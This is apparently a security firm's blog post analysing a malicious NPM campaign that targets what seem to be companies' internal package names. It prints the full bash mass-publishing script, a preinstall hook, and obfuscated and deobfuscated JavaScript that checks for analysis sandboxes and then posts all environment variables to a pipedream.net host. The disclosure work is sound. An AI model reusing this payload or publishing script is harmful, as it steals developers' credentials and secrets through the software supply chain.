Phylum detects a series of suspicious publications on NPM…again
On the morning on December 20th, Phylum’s automated risk detection platform alerted us to a series of suspicious publications on NPM. They are all published by the user yandex.pizda who claims in the description of each package to be "hackerone.com/homosec Bug Bounty Security Reseaarch [sic] White Hat".
What's Going on Here?
Each package contains the same four following files:
The dc
file is a plaintext file containing what appears to be a list of 148, to-be-published package names—more on that in a second.
The dc.sh
file is a bash script containing the following:
#!/bin/bash
POSITIONAL=()
while [[ $# -gt 0 ]]
do
key="$1"
case $key in
-v|--version)
VERSION="$2"
shift # past argument
shift # past value
;;
-s|--searchpath)
SEARCHPATH="$2"
shift # past argument
shift # past value
;;
-l|--lib)
LIBPATH="$2"
shift # past argument
shift # past value
;;
--default)
DEFAULT=YES
shift # past argument
;;
*) # unknown option
POSITIONAL+=("$1") # save it in an array for later
shift # past argument
;;
esac
done
set -- "${POSITIONAL[@]}" # restore positional parameters
for i in $(cat dc);
do
echo '
{
"name": "'$i'",
"version": "141.0.0",
"description": "hackerone.com/homosec Bug Bounty Security Reseaarch White Hat",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"preinstall":"node index.js"
},
"author": "",
"license": "ISC"
}
' > package.json
echo "
//hackerone.com/homosec
//Bug Bounty Security Reasearch White Hat
//homosec@wearehackerone.com
if (Object.keys(process.env).length > 15 &&
!(process.env.COLOR == '0' && process.env.EDITOR == 'vi' && process.env.LOGNAME && process.env.OLDPWD) &&
!(process.env.APPDATA === '/analysis/bait')&&
!(process.env._ === '/usr/bin/timelimit')&&
!(process.env.npm_config_registry === 'https://mirrors.tencent.com/npm/')) {
var _0xee82=['\x68\x74\x74\x70\x73','\x2E','\x6A\x6F\x69\x6E','\x37\x36\x63\x34\x32\x66\x32\x37\x64\x32\x36\x30\x39\x31\x36\x35\x39\x64\x63\x61\x38\x32\x30\x61\x33\x37\x65\x36\x66\x35\x64\x33','\x6D','','\x70\x69\x70\x65','\x64\x72\x65\x61\x6D','\x6E\x65\x74','\x2F"$i"','\x50\x4F\x53\x54','\x72\x65\x71\x75\x65\x73\x74','\x62\x61\x73\x65\x36\x34','\x65\x6E\x76','\x73\x74\x72\x69\x6E\x67\x69\x66\x79','\x66\x72\x6F\x6D','\x77\x72\x69\x74\x65','\x65\x6E\x64'];const http=require(_0xee82[0]);req= http[_0xee82[11]]({host:[_0xee82[3],_0xee82[4],[_0xee82[6],_0xee82[7]][_0xee82[2]](_0xee82[5]),_0xee82[8]][_0xee82[2]](_0xee82[1]),path:_0xee82[9],method:_0xee82[10]});req[_0xee82[16]](Buffer[_0xee82[15]](JSON[_0xee82[14]](process[_0xee82[13]]).toString(_0xee82[12])));req[_0xee82[17]]()
}
" > index.js
npm publish --access=public
sleep 10
done;
From the looks of it, this file loops through each line in the dc
file and then automatically creates a package.json
, an index.js
, and then publishes to NPM with npm publish --access=public
with that name. This means that running this bash script once will autogenerate a package for each name listed in the dc
file and then automatically publish it to NPM.
Taking a closer look at the package.json
file:
{
"name": "n-t-internationalization",
"version": "141.0.0",
"description": "hackerone.com/homosec Bug Bounty Security Reseaarch White Hat",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"preinstall":"node index.js"
},
"author": "",
"license": "ISC"
}
This was obviously autogenerated from the bash script above, but what’s interesting to note is that it uses a preinstall
hook to automatically run the index.js
file, which means the index.js
file will be executed immediately upon package installation.
And finally, let’s take a closer look at the index.js
file.
//hackerone.com/homosec
//Bug Bounty Security Reasearch White Hat
//homosec@wearehackerone.com
if (Object.keys(process.env).length > 15 &&
!(process.env.COLOR == '0' && process.env.EDITOR == 'vi' && process.env.LOGNAME && process.env.OLDPWD) &&
!(process.env.APPDATA === '/analysis/bait')&&
!(process.env._ === '/usr/bin/timelimit')&&
!(process.env.npm_config_registry === 'https://mirrors.tencent.com/npm/')) {
var _0xee82=['\x68\x74\x74\x70\x73','\x2E','\x6A\x6F\x69\x6E','\x37\x36\x63\x34\x32\x66\x32\x37\x64\x32\x36\x30\x39\x31\x36\x35\x39\x64\x63\x61\x38\x32\x30\x61\x33\x37\x65\x36\x66\x35\x64\x33','\x6D','','\x70\x69\x70\x65','\x64\x72\x65\x61\x6D','\x6E\x65\x74','\x2Fn-t-internationalization','\x50\x4F\x53\x54','\x72\x65\x71\x75\x65\x73\x74','\x62\x61\x73\x65\x36\x34','\x65\x6E\x76','\x73\x74\x72\x69\x6E\x67\x69\x66\x79','\x66\x72\x6F\x6D','\x77\x72\x69\x74\x65','\x65\x6E\x64'];const http=require(_0xee82[0]);req= http[_0xee82[11]]({host:[_0xee82[3],_0xee82[4],[_0xee82[6],_0xee82[7]][_0xee82[2]](_0xee82[5]),_0xee82[8]][_0xee82[2]](_0xee82[1]),path:_0xee82[9],method:_0xee82[10]});req[_0xee82[16]](Buffer[_0xee82[15]](JSON[_0xee82[14]](process[_0xee82[13]]).toString(_0xee82[12])));req[_0xee82[17]]()
}
First it runs through a set of preconditions to determine if the payload should execute. The conditions are as follows:
- The number of defined environment variables on the machine must be greater than 15.
- The
COLOR
environment variable must not equal'0'
- The
EDITOR
environment variable must not equal'vi'
- The
LOGNAME
environment variable must falsy - The
OLDPWD
environment variable must be falsy - The
APPDATA
environment variable must not equal/analysis/bait
- The
_
environment variable must not equal/user/bin/timelimit
- The
npm_config_registry
environment variable must not equal'https://mirrors.tencent.com/npm/'
If all those conditions are met, then it executes the following obfuscated JavaScript—formatted for readability:
var _0xee82 = [
"\x68\x74\x74\x70\x73",
"\x2E",
"\x6A\x6F\x69\x6E",
"\x37\x36\x63\x34\x32\x66\x32\x37\x64\x32\x36\x30\x39\x31\x36\x35\x39\x64\x63\x61\x38\x32\x30\x61\x33\x37\x65\x36\x66\x35\x64\x33",
"\x6D",
"",
"\x70\x69\x70\x65",
"\x64\x72\x65\x61\x6D",
"\x6E\x65\x74",
"\x2Fn-t-internationalization",
"\x50\x4F\x53\x54",
"\x72\x65\x71\x75\x65\x73\x74",
"\x62\x61\x73\x65\x36\x34",
"\x65\x6E\x76",
"\x73\x74\x72\x69\x6E\x67\x69\x66\x79",
"\x66\x72\x6F\x6D",
"\x77\x72\x69\x74\x65",
"\x65\x6E\x64",
];
const http = require(_0xee82[0]);
req = http[_0xee82[11]]({
host: [
_0xee82[3],
_0xee82[4],
[_0xee82[6], _0xee82[7]][_0xee82[2]](_0xee82[5]),
_0xee82[8],
][_0xee82[2]](_0xee82[1]),
path: _0xee82[9],
method: _0xee82[10],
});
req[_0xee82[16]](
Buffer[_0xee82[15]](
JSON[_0xee82[14]](process[_0xee82[13]]).toString(_0xee82[12])
)
);
req[_0xee82[17]]();
Thankfully this is super short and easy to deobfuscate. Once done, we find the following:
const http = require("https");
req = http["request"]({
host: "76c42f27d26091659dca820a37e6f5d3.m.pipedream.net",
path: "/n-t-internationalization",
method: "POST",
});
req["write"](
Buffer["from"](
JSON["stringify"](process["env"]).toString("base64")
)
);
req["end"]();
}
Looks like it just exfiltrates the machine’s environment variables through pipedream.net
. Doesn’t look very white hat to us for a few reasons. First, the shotgun approach to package publication is not generally consistent with bug bounty hunting. Secondly, exfiltration of an entire system’s environment variables seems a bit extreme. Typically, a bug bounty hunter would extract just enough to be able to prove to a company they were able to get into their systems and run some attacker controlled code on them, not perform a full extraction of the entire system’s environment variables. And finally, using obfuscated code isn’t consistent with a typical bug bounty hunting techniques either.
We attempted to reach out to the publisher of these packages for clarification and an explanation of their intention with these publications by emailing the address included in the index.js
file but never heard back from them.
As of publication of this post, the user name and all packages have been taken down from NPM. However, this is not the first time we’ve seen packages published in this same manner. Back on December 13th, we observed the same individual (or at least they had the same contact info in the index.js
file) publishing nearly the same set of packages to NPM in the same automated manner. It’s worth noting that many of these packages have several versions, and some of the versions have different content in the dc.sh
file indicating that this is still in active development, so we suspect we’ll see more of this in the near future.
The Full List
Here’s the full list of packages in the dc
file that would be published if the full script runs to completion.
lp-constants
lp-i18n
lp-react-color
lp-utils
mail-yaplus
market-money-helpers
metrika-postman
noscript-view-define
n-t-internationalization
platform-components
pythia-libs
pythia-logic-executor
question-model
react-router-susanin
realty-router
rum-counter
soft-header-updater
soft-semver
stream-player-js
uatraits
vertis-react
wf-bl
xscript-require
yabro-features
yandex-html5-video-player
yandex-tjson
yasap-marionette-behaviors
yasap-translate
yate-externals
y-cookie
yndx-mask
y-sms-form
GGGGGGGGGGGGGGGGGGGGGGGGGGG
GGGGGGGGGGGGGgg
GGGGGGGGGGGGGGGGGGGGGGGGGGGG
GGGGGGGGGGGGGg
GGGGGG
ambar
autoparts-routes
bemmy
bemmy-core
bemmy-popup
bemmy-slider
crowd-components
crowd-forms
education-icons
islands-specific
islets
jss-important
kinopoisk-utils
GGGGGGGGGGGGGGGGGGGGGG
GGGGGGGGGGGGGGGGGGGGGGGG
GGGGGGGGGGGGGGGGGGGGGGGGGGGG
GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG
GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG
GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG
GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG
@illuvium/illuvium-design
SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSs
SSSSSSSSSSSSSSSSSSSSSSSSSSSS
SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS
SSSSSSSSSSSSSSSSSSSSSSSSSSSS
dropbox-internal-sdk
FFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFF
amber-blocks
@logistics-frontend/blocks
@logistics-frontend/client-core
@logistics-frontend/core
@logistics-frontend/hooks
@logistics-frontend/modules
@logistics-frontend/ndd
@logistics-frontend/polyfills
@logistics-frontend/types
@logistics-frontend/ui-old
@logistics-frontend/utils
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
volgactf
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFF
tableau-iframe
DDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
@alfa-office/onboarding-ui-shared-lib
krisp-account
krisp-login
GGGGGGGGGGGGGGg
GGGGGGGGGGGGgg
GGGGGGGGGGGG
champagne-react-components
creator-tape
sp-bootstrap
tape-tokens
FFFFFFFFFFFFFFFF
FFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFF
datalist
requirejs-injector
DDDDDDDDDDDDDDDD
DDDDDDDDDDDDD
DDDDDDD
mrg-device-tools
mrg-form
blocks-cloud
FFFFFFFFFFFF
DDDDDDDDDD
GGGGGGGGGG
acswidget-waterfall
eslint-config-hfd
adt-utils
huddles
huddles-ui-templates
titanite-javascript
ssnap-web
richmediacore
afisha-guides-landing
lazyloading-data-placeholder
mx-dock-widget
clipboard-text-copy
label-selector-widget
pro-selector-widget
story-tree-widget
em-selector-widget
user-interface-kit
bem-xjst-static-analyzer
#staff-card
co-browsing
tinkoff-talk-web
ok-messenger-model
grunt-retina-css
grunt-retina-img
music-ui
geoadv-account
geoadv-linters
geoadv-app
geoadv-proptypes-codegen
geoadv-ts-codegen
react-dts-codegen
geoadv-entities